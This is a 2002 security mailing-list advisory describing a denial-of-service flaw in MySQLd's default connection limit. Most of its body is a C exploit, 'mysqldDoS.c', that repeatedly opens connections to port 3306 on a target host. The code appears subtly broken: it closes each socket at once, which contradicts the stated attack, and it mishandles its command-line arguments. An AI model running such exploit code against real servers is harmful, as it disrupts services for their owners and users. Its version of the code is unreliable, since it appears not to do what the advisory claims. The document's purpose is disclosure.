[EXPL] Denial of Service against MySQLd (Multiple Connections)

From: support@securiteam.com
Date: 08/27/02


From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 27 Aug 2002 08:52:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Denial of Service against MySQLd (Multiple Connections)
------------------------------------------------------------------------

SUMMARY

The default installation of MySQLd allows only eleven simultaneous
connections, if an attacker issues more than eleven Bad Handshakes
sessions (sessions that have not been completed successfully), the server
will block all new incoming connections. This will continue until one of
those eleven connections is closed. The following exploit code can assist
administrators to test their network for the mention vulnerability.

DETAILS

Exploit:
/* mysqldDoS.c
   tested against ver 3.23.49a
   FOR EDUCATIONAL PURPOSE

   Luca Ercoli luca.ercoli@inwind.it */

#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

#define PORT 3306

int main(int argc, char *argv[]){

int sockfd;
struct hostent *he;
struct sockaddr_in their_addr;

int c;
int n;
 char *host = NULL;
        

        if(argc < 2 ) {
                printf ("Sintassi: %s -h host\n",argv[0]);
                exit(0);
        }

while((n = getopt(argc, argv, "h")) != -1) {
                switch(n) {
                        case 'h':
                        host = optarg;
                        break;
                                        
                        default:
                        printf("Errore in argv\n");
                        exit(0);
                }
        }

if ((he = gethostbyname(argv[2])) == NULL)
          {
                  herror("gethostbyname");
                  exit(1);
          }

        their_addr.sin_family = AF_INET;
        their_addr.sin_port = htons(PORT);
        their_addr.sin_addr = *((struct in_addr *) he->h_addr);
        bzero(&(their_addr.sin_zero), 8);

printf("Sending dos ");

for (c=0;c<15;c++){

if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
          {
                  perror("socket");
                  exit(1);
          }

        if (connect (sockfd, (struct sockaddr *) &their_addr,
sizeof(struct sockaddr)) == -1)
          {
                  perror("connect");
                  exit(1);
          }

        printf (".");

close(sockfd);

}

printf("\n");
return 1;

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:luca.ercoli@inwind.it> Luca
Ercoli.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages